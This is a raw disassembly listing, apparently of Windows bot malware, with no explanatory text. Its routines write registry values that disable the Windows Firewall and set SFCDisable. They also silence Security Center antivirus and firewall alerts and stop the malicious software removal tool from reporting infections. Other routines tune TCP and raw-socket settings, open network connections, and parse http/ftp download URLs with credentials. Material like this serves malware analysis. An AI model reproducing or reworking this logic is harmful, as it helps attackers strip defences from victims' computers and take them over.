mov esi, 80000002h push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control" push esi call sub_421409 push 0FFFEh mov edi, offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\Tcpip"... push offset aMaxuserport ; "MaxUserPort" push edi push esi call sub_4213E8 push 1Eh push offset aTcptimedwaitde ; "TcpTimedWaitDelay" push edi push esi call sub_4213E8 push ebp push offset aStricttimewait ; "StrictTimeWaitSeqCheck" push edi push esi call sub_4213E8 add esp, 4Ch push ebp push offset aTcp1323opts ; "Tcp1323Opts" push edi push esi call sub_4213E8 push 3EBC0h push offset aGlobalmaxtcpwi ; "GlobalMaxTcpWindowSize" push edi push esi call sub_4213E8 push 3EBC0h push offset aTcpwindowsize ; "TcpWindowSize" push edi push esi call sub_4213E8 push ebp push offset aEnablepmtudisc ; "EnablePMTUDiscovery" push edi push esi call sub_4213E8 add esp, 40h push ebx push offset aEnablepmtubhde ; "EnablePMTUBHDetect" push edi push esi call sub_4213E8 push ebp push offset aSackopts ; "SackOpts" push edi push esi call sub_4213E8 push 40h push offset aDefaultttl ; "DefaultTTL" push edi push esi call sub_4213E8 push 2 push offset aTcpmaxdupacks ; "TcpMaxDupAcks" push edi push esi call sub_4213E8 add esp, 40h push 0C8000h push offset aLargebuffersiz ; "LargeBufferSize" push edi push esi call sub_4213E8 push ebp push offset aAllowuserrawac ; "AllowUserRawAccess" push edi push esi call sub_4213E8 push 0FFFFFEh push offset aTcpnumconnecti ; "TcpNumConnections" push edi push esi call sub_4213E8 push ebp push offset aDisablerawsecu ; "DisableRawSecurity" push offset aSystemCurren_1 ; "SYSTEM\\CurrentControlSet\\Services\\Afd\\P"... push esi call sub_4213E8 add esp, 40h push 0FFFEh push offset aMaxconnections ; "MaxConnectionsPer1_0Server" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000001h call sub_4213E8 push 0FFFEh push offset aMaxconnectio_0 ; "MaxConnectionsPerServer" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000001h call sub_4213E8 push 4000h push offset aSizreqbuf ; "SizReqBuf" push offset aSystemCurren_2 ; "SYSTEM\\CurrentControlSet\\Services\\Lanma"... push esi call sub_4213E8 push 0FFFFFF9Dh push offset aSfcdisable ; "SFCDisable" push offset aSoftwarePolici ; "Software\\Policies\\Microsoft\\Windows NT\\"... push esi call sub_4213E8 add esp, 40h push ebx push offset aSfcscan ; "SFCScan" push offset aSoftwarePolici ; "Software\\Policies\\Microsoft\\Windows NT\\"... push esi call sub_4213E8 push ebp push offset aAutoshareserve ; "AutoShareServer" push offset aSystemCurren_2 ; "SYSTEM\\CurrentControlSet\\Services\\Lanma"... push esi call sub_4213E8 push ebp push offset aAutosharewks ; "AutoShareWks" push offset aSystemCurren_2 ; "SYSTEM\\CurrentControlSet\\Services\\Lanma"... push esi call sub_4213E8 push ebp push offset aDevice ; "\\Device\\" push offset aTransportbindn ; "TransportBindName" push offset aSystemCurren_3 ; "SYSTEM\\CurrentControlSet\\Services\\NetBT"... push esi call sub_421409 add esp, 44h push ebx push offset aEnablefirewall ; "EnableFirewall" push offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"... push esi call sub_4213E8 push ebx push offset aDonotallowexce ; "DoNotAllowExceptions" push offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"... push esi call sub_4213E8 push ebp push offset aDisablenotific ; "DisableNotifications" push offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"... push esi call sub_4213E8 push ebx push offset aEnablefirewall ; "EnableFirewall" push offset aSystemContro_0 ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"... push esi call sub_4213E8 add esp, 40h push ebx push offset aDonotallowexce ; "DoNotAllowExceptions" push offset aSystemContro_0 ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"... push esi call sub_4213E8 push ebp push offset aDisablenotific ; "DisableNotifications" push offset aSystemContro_0 ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"... push esi call sub_4213E8 push ebp push offset aAntivirusdisab ; "AntiVirusDisableNotify" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security Center" push esi call sub_4213E8 push ebp push offset aAntivirusoverr ; "AntiVirusOverride" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security Center" push esi call sub_4213E8 add esp, 40h push ebp push offset aFirewalldisabl ; "FirewallDisableNotify" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security Center" push esi call sub_4213E8 push ebp push offset aFirewalloverri ; "FirewallOverride" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security Center" push esi call sub_4213E8 push ebp push offset aDontreportinfe ; "DontReportInfectionInformation" push offset aSoftwarePoli_0 ; "SOFTWARE\\Policies\\Microsoft\\MRT" push esi call sub_4213E8 add esp, 30h call sub_41E96F lea eax, [esp+3C0h+var_3B0] push eax push ebx push ebx push offset sub_41EA30 push ebx push ebx call dword_437180 ; CreateThread push 0FFFFFEh push offset aTcpnumconnecti ; "TcpNumConnections" push edi push esi call sub_4213E8 add esp, 10h mov esi, offset dword_457E60 push 100h push esi call dword_456F4C ; gethostname push esi call dword_456FD4 ; gethostbyname mov dword_457C50, eax mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_456FDC ; inet_ntoa push 10h push eax push offset dword_457CF8 mov dword_457D10, eax call sub_429D10 push offset dword_457E1C mov dword_457D0C, ebx call sub_420D91 add esp, 10h mov esi, offset dword_457E1C jmp loc_4195EA ; --------------------------------------------------------------------------- loc_41955C: ; CODE XREF: sub_418FA1+652j mov ecx, esi call sub_41DB60 test al, al jnz short loc_4195BC call sub_427ECD mov eax, dword_457D0C mov ecx, esi mov edi, eax imul eax, 0B8h add eax, offset byte_443FDF imul edi, 0B8h push eax push 0Ch push ebp call sub_41D181 push eax push 4 push 8 mov ecx, esi call sub_41D181 push eax push 5 push 7 mov ecx, esi call sub_41D181 push eax lea eax, dword_443F40[edi] push dword_443FF0[edi] mov ecx, esi push eax call sub_41C8B1 loc_4195BC: ; CODE XREF: sub_418FA1+5C4j mov ecx, esi call sub_41CB2A push 3E8h call dword_437190 ; Sleep mov eax, dword_445D20 dec eax cmp dword_457D0C, eax jnz short loc_4195E4 mov dword_457D0C, ebx jmp short loc_4195EA ; --------------------------------------------------------------------------- loc_4195E4: ; CODE XREF: sub_418FA1+639j inc dword_457D0C loc_4195EA: ; CODE XREF: sub_418FA1+5B6j ; sub_418FA1+641j mov ecx, esi call sub_41DB64 test al, al jnz loc_41955C call sub_4235A4 call dword_456E58 ; WSACleanup push dword_457F64 call dword_4370DC ; ReleaseMutex push ebx call dword_437174 ; ExitThread sub_418FA1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419617 proc near ; CODE XREF: sub_41985D+31p ; sub_419C4E+21p ... mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_437334 mov [eax+4], ecx mov [eax+0Ch], ecx mov [eax+8], ecx retn sub_419617 endp ; =============== S U B R O U T I N E ======================================= sub_41962B proc near ; DATA XREF: .text:off_437334o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_41968F test [esp+4+arg_0], 1 jz short loc_419641 push esi call sub_4290D0 pop ecx loc_419641: ; CODE XREF: sub_41962B+Dj mov eax, esi pop esi retn 4 sub_41962B endp ; =============== S U B R O U T I N E ======================================= sub_419647 proc near ; CODE XREF: sub_41985D+25p ; sub_419913+30p ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] and dword ptr [esi+4], 0 and dword ptr [esi+0Ch], 0 mov dword ptr [esi], offset off_437334 call sub_4196C2 and dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_419647 endp ; =============== S U B R O U T I N E ======================================= sub_41966B proc near ; CODE XREF: sub_41985D+72p ; sub_419B11+11Ep ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] and dword ptr [esi+4], 0 and dword ptr [esi+0Ch], 0 mov dword ptr [esi], offset off_437334 call sub_41970F and dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_41966B endp ; =============== S U B R O U T I N E ======================================= sub_41968F proc near ; CODE XREF: sub_41962B+3p ; sub_41985D+7Ap ... push esi mov esi, ecx mov eax, [esi+4] mov dword ptr [esi], offset off_437334 test eax, eax jz short loc_4196A6 push eax call sub_4298F2 pop ecx loc_4196A6: ; CODE XREF: sub_41968F+Ej mov eax, [esi+8] and dword ptr [esi+4], 0 test eax, eax jz short loc_4196B8 push eax call sub_4298F2 pop ecx loc_4196B8: ; CODE XREF: sub_41968F+20j and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn sub_41968F endp ; =============== S U B R O U T I N E ======================================= sub_4196C2 proc near ; CODE XREF: sub_419647+15p ; sub_41970F+Fp ... arg_0 = dword ptr 4 push esi mov esi, ecx mov eax, [esi+4] test eax, eax jz short loc_4196D3 push eax call sub_4298F2 pop ecx loc_4196D3: ; CODE XREF: sub_4196C2+8j push [esp+4+arg_0] call sub_4293A0 mov [esi+0Ch], eax add eax, 2 push eax call sub_4297B8 mov ecx, [esi+0Ch] mov [esi+4], eax inc ecx inc ecx push ecx push 0 push eax call sub_429760 push dword ptr [esi+0Ch] push [esp+1Ch+arg_0] push dword ptr [esi+4] call sub_429D10 add esp, 20h pop esi retn 4 sub_4196C2 endp ; =============== S U B R O U T I N E ======================================= sub_41970F proc near ; CODE XREF: sub_41966B+15p ; sub_419A7Dj ... arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_419A8C push eax mov ecx, esi call sub_4196C2 pop esi retn 4 sub_41970F endp ; =============== S U B R O U T I N E ======================================= sub_419727 proc near ; CODE XREF: sub_419770+Fp ; sub_419B11+A9p ... arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] mov esi, ecx call sub_4293A0 add [esi+0Ch], eax mov eax, [esi+0Ch] inc eax push eax call sub_4297B8 pop ecx mov edi, eax pop ecx push dword ptr [esi+4] push edi call dword_4370B4 ; lstrcpyA push [esp+8+arg_0] push edi call dword_437090 ; lstrcatA mov eax, [esi+4] test eax, eax jz short loc_419768 push eax call sub_4298F2 pop ecx loc_419768: ; CODE XREF: sub_419727+38j mov [esi+4], edi pop edi pop esi retn 4 sub_419727 endp ; =============== S U B R O U T I N E ======================================= sub_419770 proc near ; CODE XREF: sub_419C4E+414p arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_419A8C push eax mov ecx, esi call sub_419727 pop esi retn 4 sub_419770 endp ; =============== S U B R O U T I N E ======================================= sub_419788 proc near ; CODE XREF: sub_419C4E+69p ; sub_419C4E+79p ... arg_0 = dword ptr 4 push [esp+arg_0] push dword ptr [ecx+4] call dword_437178 ; lstrcmpiA retn 4 sub_419788 endp ; =============== S U B R O U T I N E ======================================= sub_419798 proc near ; CODE XREF: .text:0041A2F8p ; .text:0041A4A6p ... arg_0 = dword ptr 4 push [esp+arg_0] push dword ptr [ecx+4] call sub_42A8C0 pop ecx pop ecx retn 4 sub_419798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4197A9 proc near ; CODE XREF: .text:0041A1DCp ; .text:0041A1FBp ... var_2000 = byte ptr -2000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 2000h call sub_429B60 lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_2000] push [ebp+arg_4] push 2000h push eax call sub_42B8AA mov ecx, [ebp+arg_0] add esp, 10h lea eax, [ebp+var_2000] push eax call sub_4196C2 leave retn sub_4197A9 endp ; =============== S U B R O U T I N E ======================================= sub_4197E2 proc near ; CODE XREF: sub_419C4E+A2p ; .text:0041A272p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_4197F0 retn 4 sub_4197E2 endp ; =============== S U B R O U T I N E ======================================= sub_4197F0 proc near ; CODE XREF: sub_4197E2+6p arg_0 = byte ptr 4 push esi push edi movsx edi, [esp+8+arg_0] mov esi, ecx push edi push dword ptr [esi+4] call sub_42B1A0 pop ecx test eax, eax pop ecx jz short loc_41981B push edi push dword ptr [esi+4] call sub_42B1A0 pop ecx pop ecx xor ecx, ecx inc ecx sub ecx, [esi+4] add eax, ecx loc_41981B: ; CODE XREF: sub_4197F0+16j pop edi pop esi retn 8 sub_4197F0 endp ; =============== S U B R O U T I N E ======================================= sub_419820 proc near ; CODE XREF: sub_419C4E+38Fp ; sub_419C4E+3A9p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_41982E retn 4 sub_419820 endp ; =============== S U B R O U T I N E ======================================= sub_41982E proc near ; CODE XREF: sub_419820+6p arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] push dword ptr [esi+4] call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_419859 push [esp+4+arg_0] push dword ptr [esi+4] call sub_42AEA0 pop ecx pop ecx xor ecx, ecx inc ecx sub ecx, [esi+4] add eax, ecx loc_419859: ; CODE XREF: sub_41982E+13j pop esi retn 8 sub_41982E endp ; =============== S U B R O U T I N E ======================================= sub_41985D proc near ; CODE XREF: sub_4198F0+17p ; .text:0041A2CFp ... mov eax, offset loc_436324 call sub_42B7CC sub esp, 18h and dword ptr [ebp-14h], 0 push edi mov edi, [ebp+10h] mov [ebp-10h], ecx cmp edi, 1 jge short loc_419889 mov ecx, [ebp+8] push offset byte_454A54 call sub_419647 jmp short loc_4198DE ; --------------------------------------------------------------------------- loc_419889: ; CODE XREF: sub_41985D+1Bj push ebx push esi lea ecx, [ebp-24h] call sub_419617 and dword ptr [ebp-4], 0 lea esi, [edi+1] push esi call sub_4297B8 mov ebx, eax push esi push 0 push ebx call sub_429760 mov eax, [ebp-10h] push edi mov eax, [eax+4] add eax, [ebp+0Ch] push eax push ebx call sub_429420 add esp, 1Ch lea ecx, [ebp-24h] push ebx call sub_4196C2 mov ecx, [ebp+8] lea eax, [ebp-24h] push eax call sub_41966B lea ecx, [ebp-24h] call sub_41968F pop esi pop ebx loc_4198DE: ; CODE XREF: sub_41985D+2Aj mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi mov large fs:0, ecx leave retn 0Ch sub_41985D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198F0 proc near ; CODE XREF: sub_419C4E+39Cp ; sub_419C4E+3B6p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 call sub_41DB5C sub eax, [ebp+arg_4] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41985D mov eax, [ebp+arg_0] leave retn 8 sub_4198F0 endp ; =============== S U B R O U T I N E ======================================= sub_419913 proc near ; CODE XREF: sub_419A5E+13p ; .text:0041A59Cp ... mov eax, offset loc_436357 call sub_42B7CC sub esp, 28h push ebx xor ebx, ebx mov [ebp-14h], ebx mov al, [ebp+0Bh] push esi push edi mov [ebp-24h], al mov [ebp-20h], ebx mov [ebp-1Ch], ebx mov [ebp-18h], ebx push dword ptr [ecx+4] xor esi, esi inc esi lea ecx, [ebp-34h] mov [ebp-4], esi call sub_419647 lea ecx, [ebp-34h] mov byte ptr [ebp-4], 2 call sub_419A8C mov [ebp-10h], eax mov cl, [eax] cmp cl, bl jz loc_4199FA mov edi, [ebp+10h] loc_419964: ; CODE XREF: sub_419913+E1j mov dl, [edi] cmp cl, dl jnz short loc_419972 loc_41996A: ; CODE XREF: sub_419913+5Dj inc eax mov [ebp-10h], eax cmp [eax], dl jz short loc_41996A loc_419972: ; CODE XREF: sub_419913+55j cmp byte ptr [eax], 22h setz byte ptr [ebp+13h] cmp [ebp+13h], bl jz short loc_419982 inc eax mov [ebp-10h], eax loc_419982: ; CODE XREF: sub_419913+69j lea eax, [ebp-10h] lea ecx, [ebp-24h] push eax call sub_41B1E4 mov eax, [ebp-10h] cmp [ebp+13h], bl mov cl, [eax] jz short loc_4199C9 cmp cl, bl jz short loc_4199FA loc_41999C: ; CODE XREF: sub_419913+A2j cmp cl, 22h jnz short loc_4199AD mov cl, [eax+1] cmp cl, 20h jz short loc_4199B7 cmp cl, bl jz short loc_4199B7 loc_4199AD: ; CODE XREF: sub_419913+8Cj inc eax mov [ebp-10h], eax mov cl, [eax] cmp cl, bl jnz short loc_41999C loc_4199B7: ; CODE XREF: sub_419913+94j ; sub_419913+98j cmp [eax], bl jz short loc_4199FA mov [eax], bl mov eax, [ebp-10h] cmp [eax+1], bl jz short loc_4199F0 inc eax inc eax jmp short loc_4199ED ; --------------------------------------------------------------------------- loc_4199C9: ; CODE XREF: sub_419913+83j cmp cl, bl jz short loc_4199FA mov dl, [edi] loc_4199CF: ; CODE XREF: sub_419913+C8j cmp cl, dl jz short loc_4199DD inc eax mov [ebp-10h], eax mov cl, [eax] cmp cl, bl jnz short loc_4199CF loc_4199DD: ; CODE XREF: sub_419913+BEj mov cl, [eax] cmp cl, bl jz short loc_4199FA cmp cl, dl jnz short loc_4199F0 mov [eax], bl mov eax, [ebp-10h] inc eax loc_4199ED: ; CODE XREF: sub_419913+B4j mov [ebp-10h], eax loc_4199F0: ; CODE XREF: sub_419913+B0j ; sub_419913+D2j mov cl, [eax] cmp cl, bl jnz loc_419964 loc_4199FA: ; CODE XREF: sub_419913+48j ; sub_419913+87j ... cmp [ebp-20h], ebx jz short loc_419A0D mov eax, [ebp-1Ch] sub eax, [ebp-20h] sar eax, 2 cmp [ebp+0Ch], eax jb short loc_419A1F loc_419A0D: ; CODE XREF: sub_419913+EAj mov ecx, [ebp+8] push offset byte_454A54 call sub_419647 mov [ebp-14h], esi jmp short loc_419A37 ; --------------------------------------------------------------------------- loc_419A1F: ; CODE XREF: sub_419913+F8j push dword ptr [ebp+0Ch] lea ecx, [ebp-24h] call sub_41B1B7 push dword ptr [eax] mov ecx, [ebp+8] call sub_419647 mov [ebp-14h], esi loc_419A37: ; CODE XREF: sub_419913+10Aj lea ecx, [ebp-34h] call sub_41968F lea ecx, [ebp-24h] mov [ebp-4], bl call sub_41B19E mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 10h sub_419913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A5E proc near ; CODE XREF: sub_419C4E+42p ; sub_419C4E+95p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 0 and [ebp+var_4], 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_419913 mov eax, [ebp+arg_0] leave retn 0Ch sub_419A5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_419A7D proc near ; CODE XREF: sub_419C4E+3C3p ; sub_419C4E+3F2p ... jmp sub_41970F sub_419A7D endp ; =============== S U B R O U T I N E ======================================= sub_419A82 proc near ; CODE XREF: .text:0041A5C2p ; .text:0041A965p ... arg_0 = dword ptr 4 mov eax, [ecx+4] add eax, [esp+arg_0] retn 4 sub_419A82 endp ; =============== S U B R O U T I N E ======================================= sub_419A8C proc near ; CODE XREF: sub_41970F+7p ; sub_419770+7p ... mov eax, [ecx+4] retn sub_419A8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A90 proc near ; CODE XREF: sub_419B11+29p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push esi push eax push 101h call dword_4372B8 ; WSAStartup push 6 push 1 push 2 call dword_4372BC ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_419B07 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_429760 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4372C4 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call sub_41E3EC pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4372CC ; connect cmp eax, 0FFFFFFFFh jnz short loc_419B0C push esi call dword_4372D8 ; closesocket loc_419B07: ; CODE XREF: sub_419A90+2Dj or eax, 0FFFFFFFFh jmp short loc_419B0E ; --------------------------------------------------------------------------- loc_419B0C: ; CODE XREF: sub_419A90+6Ej mov eax, esi loc_419B0E: ; CODE XREF: sub_419A90+7Aj pop esi leave retn sub_419A90 endp ; =============== S U B R O U T I N E ======================================= sub_419B11 proc near ; CODE XREF: .text:0041A24Ap ; .text:0041A475p ... mov eax, offset loc_43636C call sub_42B7CC mov eax, 1014h call sub_429B60 mov eax, [ebp+10h] push esi xor esi, esi push dword ptr [eax+40h] lea ecx, [eax+10h] mov [ebp-20h], esi call sub_419A8C push eax call sub_419A90 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+10h], eax jnz short loc_419B5B mov ecx, [ebp+8] push offset byte_454A54 call sub_419647 jmp loc_419C3E ; --------------------------------------------------------------------------- loc_419B5B: ; CODE XREF: sub_419B11+36j push ebx push edi push esi push dword ptr [ebp+0Ch] call sub_4293A0 pop ecx push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+10h] call dword_4372D0 ; send push offset byte_454A54 lea ecx, [ebp-1Ch] call sub_419647 mov edi, dword_4372D4 mov [ebp-4], esi mov esi, 1000h loc_419B8F: ; CODE XREF: sub_419B11+B4j ; sub_419B11+DCj push 0 lea eax, [ebp-1020h] push esi push eax push dword ptr [ebp+10h] call edi ; dword_4372D4 mov ebx, eax test ebx, ebx jle short loc_419BEF cmp ebx, esi jge short loc_419BB0 and byte ptr [ebp+ebx-1020h], 0 loc_419BB0: ; CODE XREF: sub_419B11+95j lea eax, [ebp-1020h] lea ecx, [ebp-1Ch] push eax call sub_419727 and dword ptr [ebp+0Ch], 0 test ebx, ebx jle short loc_419B8F loc_419BC7: ; CODE XREF: sub_419B11+DAj mov eax, [ebp+0Ch] push 4 push offset asc_446DEC ; "\r\n\r\n" lea eax, [ebp+eax-1020h] push eax call sub_42B940 add esp, 0Ch test eax, eax jz short loc_419BEF inc dword ptr [ebp+0Ch] cmp [ebp+0Ch], ebx jl short loc_419BC7 jmp short loc_419B8F ; --------------------------------------------------------------------------- loc_419BEF: ; CODE XREF: sub_419B11+91j ; sub_419B11+D2j ... push 0 lea eax, [ebp-1020h] push esi push eax push dword ptr [ebp+10h] call edi ; dword_4372D4 test eax, eax jle short loc_419C1F cmp eax, esi jge short loc_419C0E and byte ptr [ebp+eax-1020h], 0 loc_419C0E: ; CODE XREF: sub_419B11+F3j lea eax, [ebp-1020h] lea ecx, [ebp-1Ch] push eax call sub_419727 jmp short loc_419BEF ; --------------------------------------------------------------------------- loc_419C1F: ; CODE XREF: sub_419B11+EFj push dword ptr [ebp+10h] call dword_4372D8 ; closesocket mov ecx, [ebp+8] lea eax, [ebp-1Ch] push eax call sub_41966B lea ecx, [ebp-1Ch] call sub_41968F pop edi pop ebx loc_419C3E: ; CODE XREF: sub_419B11+45j mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop esi mov large fs:0, ecx leave retn sub_419B11 endp ; =============== S U B R O U T I N E ======================================= sub_419C4E proc near ; CODE XREF: .text:0041A0F0p ; .text:0041A3E3p ... mov eax, offset loc_436418 call sub_42B7CC sub esp, 50h push esi xor esi, esi cmp [ebp+8], esi jnz short loc_419C6A xor eax, eax jmp loc_41A07E ; --------------------------------------------------------------------------- loc_419C6A: ; CODE XREF: sub_419C4E+13j push ebx push edi lea ecx, [ebp-1Ch] call sub_419617 push dword ptr [ebp+8] lea ecx, [ebp-1Ch] mov [ebp-4], esi call sub_4196C2 mov ebx, offset asc_446E08 ; ":" lea eax, [ebp-3Ch] push ebx push esi push eax lea ecx, [ebp-1Ch] call sub_419A5E mov edi, [ebp+0Ch] push eax mov ecx, edi mov byte ptr [ebp-4], 1 call sub_41970F and byte ptr [ebp-4], 0 lea ecx, [ebp-3Ch] call sub_41968F push offset aHttp ; "http" mov ecx, edi call sub_419788 test eax, eax jz short loc_419CD4 push offset aFtp ; "ftp" mov ecx, edi call sub_419788 test eax, eax jnz loc_41A072 loc_419CD4: ; CODE XREF: sub_419C4E+70j mov esi, offset asc_446DF8 ; "/" lea eax, [ebp-3Ch] push esi push 1 push eax lea ecx, [ebp-1Ch] call sub_419A5E push 40h mov ecx, eax mov byte ptr [ebp-4], 2 call sub_4197E2 and byte ptr [ebp-4], 0 lea ecx, [ebp-3Ch] mov [ebp+8], eax call sub_41968F cmp dword ptr [ebp+8], 0 push esi lea ecx, [ebp-1Ch] push 1 jz loc_419F0E lea eax, [ebp-5Ch] push eax call sub_419A5E push offset a@_6 ; "@" lea ecx, [ebp-4Ch] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 3 call sub_419A5E push ebx lea ecx, [ebp-3Ch] push 0 push ecx mov ecx, eax mov byte ptr [ebp-4], 4 call sub_419A5E lea ecx, [edi+10h] push eax mov byte ptr [ebp-4], 5 call sub_41970F lea ecx, [ebp-3Ch] call sub_41968F lea ecx, [ebp-4Ch] call sub_41968F and byte ptr [ebp-4], 0 lea ecx, [ebp-5Ch] call sub_41968F push offset byte_454A54 lea ecx, [edi+10h] call sub_419788 test eax, eax jnz short loc_419D86 loc_419D7F: ; CODE XREF: sub_419C4E+23Fj ; sub_419C4E+2BBj ... xor esi, esi jmp loc_41A072 ; --------------------------------------------------------------------------- loc_419D86: ; CODE XREF: sub_419C4E+12Fj push esi lea eax, [ebp-3Ch] push 1 push eax lea ecx, [ebp-1Ch] call sub_419A5E push offset a@_6 ; "@" lea ecx, [ebp-4Ch] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 6 call sub_419A5E push ebx lea ecx, [ebp-5Ch] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 7 call sub_419A5E mov ecx, eax call sub_419A8C push eax call sub_42A100 pop ecx mov [edi+40h], eax lea ecx, [ebp-5Ch] call sub_41968F lea ecx, [ebp-4Ch] call sub_41968F and byte ptr [ebp-4], 0 lea ecx, [ebp-3Ch] call sub_41968F cmp dword ptr [edi+40h], 0 jnz short loc_419E1E push offset aHttp ; "http" mov ecx, edi call sub_419788 test eax, eax jnz short loc_419E07 mov dword ptr [edi+40h], 50h loc_419E07: ; CODE XREF: sub_419C4E+1B0j push offset aFtp ; "ftp" mov ecx, edi call sub_419788 test eax, eax jnz short loc_419E1E mov dword ptr [edi+40h], 15h loc_419E1E: ; CODE XREF: sub_419C4E+1A0j ; sub_419C4E+1C7j push esi lea eax, [ebp-3Ch] push 1 push eax lea ecx, [ebp-1Ch] call sub_419A5E push offset a@_6 ; "@" lea ecx, [ebp-4Ch] push 0 push ecx mov ecx, eax mov byte ptr [ebp-4], 8 call sub_419A5E push ebx lea ecx, [ebp-5Ch] push 0 push ecx mov ecx, eax mov byte ptr [ebp-4], 9 call sub_419A5E lea ecx, [edi+20h] push eax mov byte ptr [ebp-4], 0Ah call sub_41970F lea ecx, [ebp-5Ch] call sub_41968F lea ecx, [ebp-4Ch] call sub_41968F and byte ptr [ebp-4], 0 lea ecx, [ebp-3Ch] call sub_41968F push offset byte_454A54 lea ecx, [edi+20h] call sub_419788 test eax, eax jz loc_419D7F push esi lea eax, [ebp-3Ch] push 1 push eax lea ecx, [ebp-1Ch] call sub_419A5E push offset a@_6 ; "@" lea ecx, [ebp-4Ch] push 0 push ecx mov ecx, eax mov byte ptr [ebp-4], 0Bh call sub_419A5E push ebx lea ecx, [ebp-5Ch] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 0Ch call sub_419A5E lea ebx, [edi+30h] push eax mov ecx, ebx mov byte ptr [ebp-4], 0Dh call sub_41970F lea ecx, [ebp-5Ch] call sub_41968F lea ecx, [ebp-4Ch] call sub_41968F and byte ptr [ebp-4], 0 lea ecx, [ebp-3Ch] call sub_41968F push offset byte_454A54 mov ecx, ebx call sub_419788 test eax, eax jnz loc_419FD9 jmp loc_419D7F ; --------------------------------------------------------------------------- loc_419F0E: ; CODE XREF: sub_419C4E+C0j lea eax, [ebp-4Ch] push eax call sub_419A5E push ebx lea ecx, [ebp-5Ch] push 0 push ecx mov ecx, eax mov byte ptr [ebp-4], 0Eh call sub_419A5E lea ecx, [edi+10h] push eax mov byte ptr [ebp-4], 0Fh call sub_41970F lea ecx, [ebp-5Ch] call sub_41968F and byte ptr [ebp-4], 0 lea ecx, [ebp-4Ch] call sub_41968F push offset byte_454A54 lea ecx, [edi+10h] call sub_419788 test eax, eax jz loc_419D7F push esi lea eax, [ebp-4Ch] push 1 push eax lea ecx, [ebp-1Ch] call sub_419A5E push ebx lea ecx, [ebp-5Ch] push 1 push ecx mov ecx, eax mov byte ptr [ebp-4], 10h call sub_419A5E mov ecx, eax call sub_419A8C push eax call sub_42A100 pop ecx mov [edi+40h], eax lea ecx, [ebp-5Ch] call sub_41968F and byte ptr [ebp-4], 0 lea ecx, [ebp-4Ch] call sub_41968F cmp dword ptr [edi+40h], 0 jnz short loc_419FD9 push offset aHttp ; "http" mov ecx, edi call sub_419788 test eax, eax jnz short loc_419FC2 mov dword ptr [edi+40h], 50h loc_419FC2: ; CODE XREF: sub_419C4E+36Bj push offset aFtp ; "ftp" mov ecx, edi call sub_419788 test eax, eax jnz short loc_419FD9 mov dword ptr [edi+40h], 15h loc_419FD9: ; CODE XREF: sub_419C4E+2B5j ; sub_419C4E+35Bj ... push esi lea ecx, [ebp-1Ch] call sub_419820 push eax lea eax, 